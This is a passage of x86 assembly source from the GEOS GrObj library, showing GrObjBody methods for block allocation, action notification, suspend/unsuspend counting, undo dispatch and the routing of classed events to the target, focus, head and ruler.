GrObjBodyAllocGrObjBlock PASS: ds - segment of graphic body RETURN: bx - mem handle ax - vm block handle DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 8/14/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyAlloc proc far uses cx,dx .enter ; Allocate object block ; call GeodeGetProcessHandle call ProcInfo call UserAllocObjBlock mov cx,bx ;memory block handle ; Get VM file handle ; call GrObjGlobalGetVMFile ;bx <- file handle ; Attach memory block to vm file ; clr ax ;alloc new vm block handle call VMAttach call VMPreserveBlocksHandle mov bx,cx ;new vm mem block handle .leave ret GrObjBodyAlloc endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyAllocGrObjBlock %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Alloc a block in the current vm file to store graphic objects in. CALLED BY: INTERNAL GrObjBodyGetBlockForOneGrObj PASS: *(ds:si) - graphicBody RETURN: bx - handle DESTROYED: nothing PSEUDO CODE/STRATEGY: Allocate a block in the vm file Instantiate a body keeper object at the begining of the block KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 8/14/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyAllocGrObjBlock proc near class GrObjBodyClass .enter EC < call ECGrObjBodyCheckLMemObject > call GrObjBodyAlloc call GrObjBodyAddObjBlock .leave ret GrObjBodyAllocGrObjBlock endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyAddObjBlock %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Adds the passed block to the body's obj block array Pass: *ds:si - GrObjBody bx - handle to add Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Jul 17, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyAddObjBlock proc near class GrObjBodyClass uses ax, bx, cx, dx, di, si, es .enter ; ; Lock our new block ; call ObjLockObjBlock mov es, ax ; ; Set the OLMBH_output field = body ; mov ax, ds:[LMBH_handle] movdw es:[OLMBH_output], axsi call MemUnlock push bx ;save new block handle ; Add as first element in block size list thing. ; mov si, ds:[si] add si, ds:[si].GrObjBody_offset mov si, ds:[si].GBI_objBlockArray clr ax call ChunkArrayElementToPtr call ChunkArrayInsertAt pop ds:[di].GOBHE_blockHandle clr ds:[di].GOBHE_potentialSize .leave ret GrObjBodyAddObjBlock endp if 0 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBlockHandleElementComparePotentialSizeCB %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Pass: ds:si - GrObjBlockHandleElement #1 es:di - GrObjBlockHandleElement #2 Return: flags set for jl, je, jg for #1 <,=,> #2 Destroyed: ax, bx, cx, dx, si, di Comments: Since GOBHE_potentialSize is unsigned, be careful to set the flags as though a signed comparison were made Revision History: Name Date Description ---- ------------ ----------- jon Jul 17, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBlockHandleElementComparePotentialSizeCB proc far .enter mov ax, ds:[si].GOBHE_potentialSize cmp ax, es:[di].GOBHE_potentialSize mov ax, 1 ja greaterThan jb lessThan done: .leave ret greaterThan: cmp ax, 0 jmp done lessThan: cmp ax, 2 jmp done GrObjBlockHandleElementComparePotentialSizeCB endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodySetActionNotificationOutput %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Specify the message and output descriptor for grobjects to send notification to when an action is performed on them. Grobjects will use this notification in the body if they don't have one of their own. Many uses of the grobj will have no notification. This is for special uses like the chart library which needs to know when pieces of the chart have become selected, been moved, etc. When a grobject sends out a notification it will put its OD in cx:dx and bp will contain GrObjActionNotificationType. PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass cx:dx - optr of object to notify bp - message to send RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 2/20/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodySetActionNotificationOutput method dynamic GrObjBodyClass, MSG_GB_SET_ACTION_NOTIFICATION_OUTPUT uses ax,cx .enter BitSet ds:[di].GBI_flags,GBF_HAS_ACTION_NOTIFICATION jcxz bitClear dirty: call ObjMarkDirty mov ax, ATTR_GB_ACTION_NOTIFICATION call GrObjGlobalSetActionNotificationOutput .leave ret bitClear: BitClr ds:[di].GBI_flags,GBF_HAS_ACTION_NOTIFICATION jmp dirty GrObjBodySetActionNotificationOutput endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodySuspendActionNotification %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Prevent all grobjects from sending out any action notifications, even if a given grobject has its own output OD and message. If the body has no action notification od it will will still record the suspension and the suspension will be in place when the action output is set. Nested suspends and unsuspends are allowed. PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: none DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: action notification var data exists REVISION HISTORY: Name Date Description ---- ---- ----------- srs 3/26/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodySuspendActionNotification method dynamic GrObjBodyClass, MSG_GB_SUSPEND_ACTION_NOTIFICATION uses ax .enter mov ax,ATTR_GB_ACTION_NOTIFICATION call GrObjGlobalSuspendActionNotification .leave ret GrObjBodySuspendActionNotification endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyUnsuspendActionNotification %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Counterbalance a call to MSG_GB_SUSPEND_ACTION_NOTIFICATION. If all suspends have been balanced the grobject will be free to send out action notification. However, it will not send action notifications that were aborted during the suspended period. If the body is not suspend the message will be ignored. PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: action notification var data exists REVISION HISTORY: Name Date Description ---- ---- ----------- srs 3/26/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyUnsuspendActionNotification method dynamic GrObjBodyClass, MSG_GB_UNSUSPEND_ACTION_NOTIFICATION uses ax .enter mov ax,ATTR_GB_ACTION_NOTIFICATION call GrObjGlobalUnsuspendActionNotification .leave ret GrObjBodyUnsuspendActionNotification endm GrObjAlmostRequiredCode ends GrObjRequiredCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyIgnoreUndoActionsAndSuspend %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 3/17/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyIgnoreUndoActionsAndSuspend method dynamic GrObjBodyClass, MSG_GB_IGNORE_UNDO_ACTIONS_AND_SUSPEND uses cx, dx, bp .enter ; Ignore actions because suspend the body starts an undo chain ; but we don't want selecting objects to toss out the ; previous undo ; call GrObjGlobalUndoIgnoreActions ; Suspend the body so that all the objects that are becoming ; selected and unselected won't try and update the controllers ; independently ; mov ax, MSG_META_SUSPEND call ObjCallInstanceNoLock .leave ret GrObjBodyIgnoreUndoActionsAndSuspend endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyUnsuspendAndAcceptUndoActions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 3/17/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyUnsuspendAndAcceptUndoActions method dynamic GrObjBodyClass, MSG_GB_UNSUSPEND_AND_ACCEPT_UNDO_ACTIONS uses cx, dx, bp .enter mov ax, MSG_META_UNSUSPEND call ObjCallInstanceNoLock call GrObjGlobalUndoAcceptActions .leave ret GrObjBodyUnsuspendAndAcceptUndoActions endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodySuspend %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Increment the suspend count. When the count is non-zero grobject invalidations and ui notifications will not be done. NOTE: Action notifications will be still be sent out while the body is suspended. PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 3/17/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodySuspend method dynamic GrObjBodyClass, MSG_META_SUSPEND .enter ; If we are making the transition from not suspend to ; suspend then start an undo action ; tst ds:[di].GBI_suspendCount jz startUndo incCount: inc ds:[di].GBI_suspendCount mov di,ds:[di].GBI_graphicsState tst di jz toSelected call WinSuspendUpdate toSelected: mov ax,MSG_META_SUSPEND call GrObjBodySendToSelectedGrObjs ; Only send to the edit object if we are the target. This ; prevents deaths on quick copy. An object is getting ; added to a body with out the target and that object ; is becoming editable. Since the body doesn't have the ; target, the new object doesn't get GAINED_TARGET_EXCL ; so it doesn't match the body's suspend count. It is ; bad news to be passing suspends and unsuspends to ; objects that don't have the same suspend count as ; the body. ; mov di,ds:[si] add di,ds:[di].GrObjBody_offset test ds:[di].GBI_fileStatus, mask GOFS_TARGETED jz done mov di,mask MF_FIXUP_DS call GrObjBodyMessageToEdit done: Destroy ax, cx, dx, bp .leave ret startUndo: call GrObjGlobalStartUndoChainNoText ; So that undoing operations will also be suspended. ; mov ax,MSG_META_UNSUSPEND clr bx call GrObjGlobalAddFlagsUndoAction jmp incCount GrObjBodySuspend endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyUnsuspend %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Decrement the suspend count. If the count reaches zero then Remove restrictions on grobject invalidations and notifications sent to the UI. Initiate invalidations and notifications that were aborted because of the suspension. PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBody RETURN: nothing DESTROYED: ax, cx, dx, bp PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 3/17/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyUnsuspend method dynamic GrObjBodyClass, MSG_META_UNSUSPEND .enter ; Bail if we aren't suspended ; mov cx, ds:[di].GBI_suspendCount EC< tst cx > EC< ERROR_Z GROBJ_BODY_UNSUSPENDED_WHEN_NOT_ALREADY_SUSPENDED > NEC< jcxz done > ; Reduce windows suspend count ; mov di,ds:[di].GBI_graphicsState tst di jz afterUnSuspend call WinUnSuspendUpdate afterUnSuspend: call GrObjBodySendToSelectedGrObjs ; Only send to the edit object if we are the target. This ; prevents deaths on quick copy. An object is getting ; added to a body with out the target and that object ; is becoming editable. Since the body doesn't have the ; target, the new object doesn't get GAINED_TARGET_EXCL ; so it doesn't match the body's suspend count. It is ; bad news to be passing suspends and unsuspends to ; objects that don't have the same suspend count as ; the body. ; mov di,ds:[si] add di,ds:[di].GrObjBody_offset test ds:[di].GBI_fileStatus, mask GOFS_TARGETED jz decCount mov di,mask MF_FIXUP_DS call GrObjBodyMessageToEdit decCount: ; Reduce suspend count and bail if suspension not removed ; mov di,ds:[si] add di,ds:[di].GrObjBody_offset dec cx mov ds:[di].GBI_suspendCount, cx jnz done ; If making the transition from suspended to not suspended ; then end the undo chained start on MSG_META_SUSPEND. ; But throw in a suspend undo action so that undoing operations ; will also be suspended. ; mov ax,MSG_META_SUSPEND clr bx call GrObjGlobalAddFlagsUndoAction call GrObjGlobalEndUndoChain mov di,ds:[si] add di,ds:[di].GrObjBody_offset xchg ds:[di].GBI_unsuspendOps, cx jcxz checkText mov ax, MSG_GB_UPDATE_UI_CONTROLLERS call ObjCallInstanceNoLock clr cx mov di, ds:[si] add di, ds:[di].GrObjBody_offset ; ; Tell the body to update the text controllers ; checkText: xchg ds:[di].GBI_textUnsuspendOps, cx jcxz done sub sp, size VisTextGenerateNotifyParams mov bp, sp mov ss:[bp].VTGNP_notificationTypes, cx mov ss:[bp].VTGNP_sendFlags, mask VTNSF_UPDATE_APP_TARGET_GCN_LISTS mov ax, MSG_GB_GENERATE_TEXT_NOTIFY call ObjCallInstanceNoLock add sp, size VisTextGenerateNotifyParams done: Destroy ax, cx, dx, bp .leave ret GrObjBodyUnsuspend endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyUndo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Perform undo PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass ss:bp - UndoActionStruc RETURN: nothing DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 7/30/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyUndo method dynamic GrObjBodyClass, MSG_META_UNDO .enter mov ax,({GrObjUndoAppType}ss:[bp].UAS_appType).GOUAT_undoMessage ; All grobj undo messages take their parameters from the ; UndoActionDataUnion in the same order regardless of ; the UndoActionDataType. ; CheckHack <(offset UADF_flags.low) eq 0> CheckHack <(offset UADF_flags.high) eq 2> CheckHack <(offset UADF_extraFlags) eq 4> CheckHack <(offset UADVMC_vmChain.low) eq 0> CheckHack <(offset UADVMC_vmChain.high) eq 2> CheckHack <(offset UADVMC_file) eq 4> mov cx,{word}ss:[bp].UAS_data mov dx,{word}ss:[bp].UAS_data+2 mov bp,{word}ss:[bp].UAS_data+4 call ObjCallInstanceNoLock .leave Destroy ax,cx,dx,bp ret GrObjBodyUndo endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyUndoFreeingAction %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Perform undo freeing action PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass ss:bp - AddUndoActionStruc RETURN: nothing DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 7/30/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyUndoFreeingAction method dynamic GrObjBodyClass, MSG_META_UNDO_FREEING_ACTION .enter mov ax,({GrObjUndoAppType}ss:[bp].AUAS_data.\ UAS_appType).GOUAT_freeMessage ; All grobj undo messages take their parameters from the ; UndoActionDataUnion in the same order regardless of ; the UndoActionDataType. ; CheckHack <(offset UADF_flags.low) eq 0> CheckHack <(offset UADF_flags.high) eq 2> CheckHack <(offset UADF_extraFlags) eq 4> CheckHack <(offset UADVMC_vmChain.low) eq 0> CheckHack <(offset UADVMC_vmChain.high) eq 2> CheckHack <(offset UADVMC_file) eq 4> mov cx,{word}ss:[bp].AUAS_data.UAS_data mov dx,{word}ss:[bp].AUAS_data.UAS_data+2 mov bp,{word}ss:[bp].AUAS_data.UAS_data+4 call ObjCallInstanceNoLock .leave Destroy ax,cx,dx,bp ret GrObjBodyUndoFreeingAction endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodySendClassedEvent %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handler for a classed event passed via MSG_META_SEND_CLASSED_EVENT. PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass cx - handle of ClassedEvent dx - TravelOptions RETURN: event destroyed DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This routine is ugly, ugly, ugly. REVISION HISTORY: Name Date Description ---- ---- ----------- srs 12/16/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodySendClassedEvent method dynamic GrObjBodyClass, \ MSG_META_SEND_CLASSED_EVENT eventHandle local hptr push cx travelOption local word push dx .enter cmp dx, TO_TARGET je target cmp dx, TO_FOCUS je focus push bp ;stack frame mov di, offset GrObjBodyClass CallSuper MSG_META_SEND_CLASSED_EVENT pop bp ;stack frame done: .leave Destroy ax,cx,dx,bp ret focus: ; If we don't have a focusExcl then handle the message ; here at the body. Otherwise send to focus ; tst ds:[di].GBI_focusExcl.HG_OD.handle jz toBody mov cx,eventHandle mov dx,travelOption mov di,mask MF_FIXUP_DS mov ax,MSG_META_SEND_CLASSED_EVENT call GrObjBodyMessageToFocus jmp done target: ; Handle any messages that can be used to set default ; attributes ; mov ax,MSG_GB_SEND_CLASSED_EVENT_SET_DEFAULT_ATTRS call ObjCallInstanceNoLock ; Get the class of the encapsulated message ; mov bx,cx ;event handle mov dx,si ;guardian chunk call ObjGetMessageInfo xchg dx,si ;event class offset, ;guard chunk ; If the class is zero the then message is a meta ; message that should be sent to the leaf. We ; are operating under the assumption that such messages ; cannot be sent to multiple objects with intelligible ; results (eg MSG_META_COPY, MSG_META_PASTE), unless ; they are MetaTextMessages. Our concept of leaf is either ; the edit/target, if there is one, or the body. ; tst cx ;class segment jnz hasClass ; The body wants to handle search and spell messages ; itself. ; call GrObjGlobalCheckForMetaSearchSpellMessages jc toBody ; The body will handle suspend and unsuspend messages ; itself. See GrObjBodySuspend for details. ; call GrObjGlobalCheckForMetaSuspendUnsuspendMessages jc toBody mov di,ds:[si] add di,ds:[di].GrObjBody_offset tst ds:[di].GBI_targetExcl.HG_OD.handle jz checkText ; We have a target ; mov cx,eventHandle mov dx,travelOption mov di,mask MF_FIXUP_DS mov ax,MSG_META_SEND_CLASSED_EVENT call GrObjBodyMessageToEdit jmp done checkText: call GrObjGlobalCheckForMetaTextMessages jnc toBody ;jmp if not text message ; The suspend gives us an undo chain that encompasses ; the whole operation (in case more than one object is ; selected). It alway fixes multiple update problems ; with text menus which don't send out a suspend/unsuspend ; push bp ;local frame mov ax,MSG_META_SUSPEND call ObjCallInstanceNoLock pop bp ;local frame call GrObjBodySendClassedEventToEditSelection push bp ;local frame mov ax,MSG_META_UNSUSPEND call ObjCallInstanceNoLock pop bp ;local frame jmp done toBody: mov cx,eventHandle mov dx,travelOption mov di,offset GrObjBodyClass mov ax,MSG_META_SEND_CLASSED_EVENT push bp call ObjCallSuperNoLock pop bp jmp done hasClass: ; The message actually had a class in it. ; If the message can be handled at this level ; (ie by the GrObjBody), then do so. Since the body ; is also responsible for relaying messages to the ; head and the ruler we will try that also. ; push bp ;save locals mov ax,MSG_META_IS_OBJECT_IN_CLASS call ObjCallInstanceNoLock pop bp ;restore locals jc toBody push bp ;save locals mov ax,MSG_META_IS_OBJECT_IN_CLASS mov di,mask MF_FIXUP_DS or mask MF_CALL call GrObjBodyMessageToHead pop bp ;restore locals EC < ERROR_Z GROBJ_BODY_NOT_ATTACHED_TO_HEAD > jc toHead ; We want to send VisRuler, and its subclasses, messages ; to the VisRuler but we don't want to inadvertently ; send Vis messages intended for Vis Wards to be ; eaten by the ruler. ; cmp cx,segment VisClass jne checkRuler cmp dx, offset VisClass jne checkRuler toTarget: ; Our concept of target is either the edit grab or ; the selection list. There will never be both, so ; just send it to both and the right thing will happen ; call GrObjGlobalStartUndoChainNoText call GrObjBodySendClassedEventToEditSelection call GrObjGlobalEndUndoChain jmp done checkRuler: push bp mov ax,MSG_META_IS_OBJECT_IN_CLASS mov di,mask MF_FIXUP_DS or mask MF_CALL call GrObjBodyMessageToRuler pop bp jnc toTarget mov cx,eventHandle mov dx,travelOption mov di,mask MF_FIXUP_DS mov ax,MSG_META_SEND_CLASSED_EVENT call GrObjBodyMessageToRuler jmp done toHead: mov cx,eventHandle mov dx,travelOption mov di,mask MF_FIXUP_DS mov ax,MSG_META_SEND_CLASSED_EVENT call GrObjBodyMessageToHead EC < ERROR_Z GROBJ_BODY_NOT_ATTACHED_TO_HEAD > jmp done GrObjBodySendClassedEvent endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodySendClassedEventToEditSelection %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Send the classed event in the inherited stack frame to, the edit grab and the selection list CALLED BY: INTERNAL GrObjBodySendClassedEvent PASS: *ds:si - GrObjBody ss:bp - inherited stack frame RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This routine should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 5/11/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodySendClassedEventToEditSelection proc near eventHandle local hptr travelOption local word uses ax,bx,cx,dx,di .enter inherit EC < call ECGrObjBodyCheckLMemObject > mov bx,eventHandle mov dx,travelOption call ObjDuplicateMessage mov_tr cx,ax ;duped event handle mov ax,MSG_META_SEND_CLASSED_EVENT mov di,mask MF_FIXUP_DS call GrObjBodyMessageToEdit jz noEdit mov cx,bx ;original event toSelected: mov ax,MSG_META_SEND_CLASSED_EVENT call GrObjBodySendClassedEventToSelectedGrObjs .leave ret noEdit: xchg bx,cx ;duped event, original event call ObjFreeMessage jmp toSelected GrObjBodySendClassedEventToEditSelection endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodySendClassedEventSetDefaultAttrs %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: The body sends this message to itself when processing MSG_META_SEND_CLASSED_EVENT so that it can use the message for setting default attributes. This handler must not damage the original message. If it decides to use the message it must duplicate it PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass cx - event handle dx - travel option RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: nothing KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 5/17/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodySendClassedEventSetDefaultAttrs method dynamic GrObjBodyClass, MSG_GB_SEND_CLASSED_EVENT_SET_DEFAULT_ATTRS uses cx,bp .enter ; If nothing is selected and nothing is being edited ; then set the default attrs. ; tst ds:[di].GBI_targetExcl.HG_OD.handle jnz editing call GrObjBodyGetNumSelectedGrObjs tst bp jnz somethingSelected setDefaults: ; READ ME NOW ; For this routine to work it is vital that we only ; come to the setDefaults label if there are no text ; objects selected nor being edited. In this case the ; styled messages need to be sent to the attribute manager ; so that controllers update correctly. If this is not the ; case the style messages must not go to the attribute ; manager, because they would then be handled more than once ; causing no end of trouble. ; push si, es mov bx, cx call ObjGetMessageInfo ;ax = message, cxsi=OD segmov es, cs cmp cx,segment VisTextClass jne normalIgnore cmp si,offset VisTextClass jne normalIgnore mov di, offset visTextMessageIgnoreList mov cx, length visTextMessageIgnoreList jmp doIgnoreCheck normalIgnore: mov di, offset normalMessageIgnoreList mov cx, length normalMessageIgnoreList doIgnoreCheck: repne scasw pop si, es jz done call ObjDuplicateMessage mov_tr cx, ax ;duped event handle mov ax,MSG_META_SEND_CLASSED_EVENT mov di,mask MF_FIXUP_DS call GrObjBodyMessageToGOAM mov cx,bx ;orig event handle call GrObjGlobalCheckForClassedMetaTextMessages jc justSetDefaultTextAttrs done: .leave ret editing: ; Because the attribute manager stores text attributes, if ; the object being edited is not a text object then we ; still need to set the default attrs if this is a text message. ; Otherwise the text message will not get handled and the ; text controllers won't get updated potentially leaving them ; in an inconsistent state. ; push cx,dx ;event handle, travel option mov cx, segment TextGuardianClass mov dx, offset TextGuardianClass mov di,mask MF_FIXUP_DS or mask MF_CALL mov ax, MSG_META_IS_OBJECT_IN_CLASS call GrObjBodyMessageToEdit pop cx,dx ;event handle, travel option jc done ;jmp if its a text object call GrObjGlobalCheckForClassedMetaTextMessages jc setDefaults ;jmp if text message call GrObjGlobalCheckForClassedMetaStylesMessages jc setDefaults ;jmp if styles message jmp done somethingSelected: ; Because the attribute manager stores text attributes, if 